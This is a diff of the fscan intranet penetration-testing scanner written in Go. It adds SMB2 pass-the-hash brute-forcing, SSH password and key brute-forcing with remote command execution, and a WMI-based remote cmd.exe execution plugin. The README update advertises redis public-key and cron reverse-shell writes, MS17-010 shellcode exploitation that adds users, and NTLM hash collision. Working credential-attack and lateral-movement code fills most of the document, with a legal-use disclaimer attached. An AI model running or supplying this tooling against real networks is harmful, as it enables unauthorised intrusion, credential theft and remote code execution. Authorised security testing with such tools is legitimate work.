errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
errlog = strings.Replace(errlog, "\n", " ", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
break
}
}
}
} else {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
hash := []byte{}
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
var errlog string
if len(common.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
errlog = strings.Replace(errlog, "\n", " ", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
break
}
}
}
}
return tmperr
}
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
initiator := smb2.NTLMInitiator{
User: user,
Domain: common.Domain,
}
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
d := &smb2.Dialer{
Initiator: &initiator,
}
s, err := d.Dial(conn)
if err != nil {
return
}
defer s.Logoff()
names, err := s.ListSharenames()
if err != nil {
return
}
if !hasprint {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
result = fmt.Sprintf("%v shares: %v", result, names)
common.LogSuccess(result)
flag2 = true
}
fs, err := s.Mount("C$")
if err != nil {
return
}
defer fs.Umount()
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return
}
defer f.Close()
flag = true
return
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
}
//if info.Path == ""{
//}
//path = info.Path
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
//if err != nil {
// return
//}
//flag = true
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
//if err != nil {
// return
//}
//flag = true
//
//_, err = f.Write([]byte("Hello world!"))
//if err != nil {
// return
//}
//
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
+38 -10
View File
@@ -1,15 +1,20 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
@@ -24,10 +29,13 @@ func SshScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if common.SshKey != "" {
return err
}
}
}
return tmperr
@@ -36,12 +44,25 @@ func SshScan(info *common.HostInfo) (tmperr error) {
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
var Auth []ssh.AuthMethod
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, errors.New("parse key failed" + err.Error())
}
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
Auth = []ssh.AuthMethod{ssh.Password(Password)}
}
config := &ssh.ClientConfig{
User: Username,
Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
Timeout: time.Duration(info.Timeout) * time.Second,
User: Username,
Auth: Auth,
Timeout: time.Duration(common.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
@@ -54,12 +75,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
if err == nil {
defer session.Close()
flag = true
if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
var result string
if common.Command != "" {
combo, _ := session.CombinedOutput(common.Command)
result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result)
} else {
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password)
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result)
}
}
+166 -169
View File
@@ -1,107 +1,104 @@
package Plugins
import (
"bytes"
"compress/gzip"
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/html/charset"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
"io"
"io/ioutil"
"net/http"
"net/url"
"regexp"
"strings"
)
"time"
"unicode/utf8"
var (
Charsets = []string{"utf-8", "gbk", "gb2312"}
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/text/encoding/simplifiedchinese"
)
func WebTitle(info *common.HostInfo) error {
err := GOWebTitle(info)
if err != nil {
if common.Scantype == "webpoc" {
WebScan.WebScan(info)
return nil
}
err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
//不扫描打印机,避免打纸
for _, v := range info.Infostr {
if v == "打印机" {
return nil
}
}
if !common.NoPoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
return err
}
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
//flag 4 400 -> https
func GOWebTitle(info *common.HostInfo) error {
var CheckData []WebScan.CheckDatas
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
if info.Url == "" {
if info.Ports == "80" {
switch info.Ports {
case "80":
info.Url = fmt.Sprintf("http://%s", info.Host)
} else if info.Ports == "443" {
case "443":
info.Url = fmt.Sprintf("https://%s", info.Host)
} else {
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
info.Url = fmt.Sprintf("http://%s", info.Url)
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return err
return
}
//有跳转
if strings.Contains(result, "://") {
//有跳转
redirecturl, err := url.Parse(result)
if err == nil {
info.Url = redirecturl.String()
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
}
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
if result == "https" {
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
//有跳转
if strings.Contains(result, "://") {
//有跳转
redirecturl, err := url.Parse(result)
if err == nil {
info.Url = redirecturl.String()
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
}
}
} else {
info.Url = result
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
return
}
}
}
err, _, CheckData = geturl(info, 2, CheckData)
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return err
return
}
WebScan.InfoCheck(info.Url, CheckData)
if common.IsWebCan == false {
WebScan.WebScan(info)
}
return err
return
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
//flag 4 400 -> https
Url := info.Url
if flag == 2 {
URL, err := url.Parse(Url)
@@ -111,121 +108,68 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
Url += "/favicon.ico"
}
}
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return err, "", CheckData
}
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
} else {
client = lib.Client
}
res, err := http.NewRequest("GET", Url, nil)
if err == nil {
res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Set("Accept", "*/*")
res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Pocinfo.Cookie != "" {
res.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
} else {
res.Header.Set("Cookie", "rememberMe=1")
}
res.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
} else {
client = lib.Client
}
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
var title string
var text []byte
body, err := getRespBody(resp)
if err != nil {
return err, "", CheckData
}
if flag != 2 {
re := regexp.MustCompile("(?im)<title>(.*)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
text = find[1]
GetEncoding := func() string { // 判断Content-Type
r1, err := regexp.Compile(`(?im)charset=\s*?([\w-]+)`)
if err != nil {
return ""
}
headerCharset := r1.FindString(resp.Header.Get("Content-Type"))
if headerCharset != "" {
for _, v := range Charsets { // headers 编码优先,所以放在前面
if strings.Contains(strings.ToLower(headerCharset), v) == true {
return v
}
}
}
r2, err := regexp.Compile(`(?im)<meta.*?charset=['"]?([\w-]+)["']?.*?>`)
if err != nil {
return ""
}
htmlCharset := r2.FindString(string(body))
if htmlCharset != "" {
for _, v := range Charsets {
if strings.Contains(strings.ToLower(htmlCharset), v) == true {
return v
}
}
}
return ""
}
encoding := GetEncoding()
_, charsetName, _ := charset.DetermineEncoding(body, "")
if encoding == "gbk" || encoding == "gb2312" || charsetName == "gbk" {
titleGBK, err := Decodegbk(text)
if err == nil {
title = string(titleGBK)
}
} else {
title = string(text)
}
} else {
title = "None"
}
title = strings.Trim(title, "\r\n \t")
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
if len(title) > 100 {
title = title[:100]
}
if title == "" {
title = "None"
}
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(text))
}
result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", Url, resp.StatusCode, length, title)
common.LogSuccess(result)
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
redirURL, err1 := resp.Location()
if err1 == nil {
return nil, redirURL.String(), CheckData
}
if resp.StatusCode == 400 && info.Url[:5] != "https" {
return err, "https", CheckData
}
return err, "", CheckData
}
resp, err := client.Do(req)
if err != nil {
return err, "https", CheckData
}
return err, "", CheckData
}
func Decodegbk(s []byte) ([]byte, error) { // GBK解码
I := bytes.NewReader(s)
O := transform.NewReader(I, simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(O)
if e != nil {
return nil, e
defer resp.Body.Close()
var title string
body, err := getRespBody(resp)
if err != nil {
return err, "https", CheckData
}
return d, nil
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
var reurl string
if flag != 2 {
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
title = gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
}
result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl)
}
common.LogSuccess(result)
}
if reurl != "" {
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
return nil, "https", CheckData
}
return nil, "", CheckData
}
func getRespBody(oResp *http.Response) ([]byte, error) {
@@ -248,12 +192,65 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
raw, err := io.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
defer oResp.Body.Close()
body = raw
}
return body, nil
}
func gettitle(body []byte) (title string) {
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
title = strings.TrimSpace(title)
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
if len(title) > 100 {
title = title[:100]
}
if title == "" {
title = "\"\"" //空格
}
} else {
title = "None" //没有title
}
return
}
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
//如果端口是80或443,跳过Protocol判断
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
return
}
conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
common.LogError(err)
}
}()
conn.Close()
}
}()
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https"
}
return protocol
}
+117
View File
@@ -0,0 +1,117 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"os"
"strings"
"time"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
var ClientHost string
var flag bool
func init() {
if flag {
return
}
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
func WmiExec(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
PASS:
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := Wmiexec(info, user, pass, common.Hash)
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
}
if common.Hash != "" {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if len(common.Hash) == 32 {
break PASS
}
}
}
return tmperr
}
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(common.Timeout)
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
}
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
if cfgIn == nil {
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
if err1 != nil {
err = err1
return
}
cfgIn = &cfg
}
execer := wmiexec.NewExecer(cfgIn)
err = execer.SetTargetBinding(binding)
if err != nil {
return
}
err = execer.Auth()
if err != nil {
return
}
flag = true
if command != "" {
command = "C:\\Windows\\system32\\cmd.exe /c " + command
if execer.TargetRPCPort == 0 {
err = errors.New("RPC Port is 0, cannot connect")
return
}
err = execer.RPCConnect()
if err != nil {
return
}
err = execer.Exec(command)
if err != nil {
return
}
}
return
}
+144 -66
View File
@@ -1,17 +1,18 @@
# fscan
[English][url-docen]
# 简介
# 1. 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
## 主要功能
# 2. 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
2.爆破功能:
* 各类服务爆破(ssh、smb等)
* 数据库密码爆破(mysql、mssql、redis、psql等)
* 各类服务爆破(ssh、smb、rdp等)
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
3.系统信息、漏洞扫描:
* netbios探测、域控识别
@@ -24,13 +25,14 @@
* web漏洞扫描(weblogic、st2等,支持xray的poc)
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
* redis写公钥或写计划任务
* ssh命令执行
* ms17017利用(植入shellcode),如添加用户等
6.其他功能:
* 文件保存
## usege
# 3. 使用说明
简单用法
```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
@@ -50,71 +52,105 @@ fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
```
编译命令
```
go build -ldflags="-s -w " -trimpath
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
```
arch用户安装
`yay -S fscan-git 或者 paru -S fscan-git`
完整参数
```
-Num int
poc rate (default 20)
-c string
exec command (ssh)
ssh命令执行
-cookie string
set poc cookie
-debug
debug mode will print more error info
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb domain
smb爆破模块时,设置域名
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hs ip.txt
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
设置扫描模式: -m ssh (default "all")
-no
not to save output log
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
not to scan web vul
跳过web poc扫描
-np
not to ping
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
Outputfile (default "result.txt")
扫描结果保存到哪 (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200")
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
指定web poc的模糊名字, -pocname weblogic
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-u string
url
-uf string
urlfile
设置代理, -proxy http://127.0.0.1:8080
-user string
username
指定爆破时的用户名
-userf string
username file
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
Set web timeout (default 5)
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
```
## 运行截图
# 4. 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
@@ -136,33 +172,75 @@ go build -ldflags="-s -w " -trimpath
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
## 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
# 404StarLink 2.0 - Galaxy
# 5. 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## 最近更新
[+] 2021/4/22 修改webtitle模块,加入gbk解码
[+] 2021/4/21 加入netbios探测、域控识别
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
# 8. 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 9. 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. 最近更新
[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
[+] 2022/1/11 新增oracle密码爆破。
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
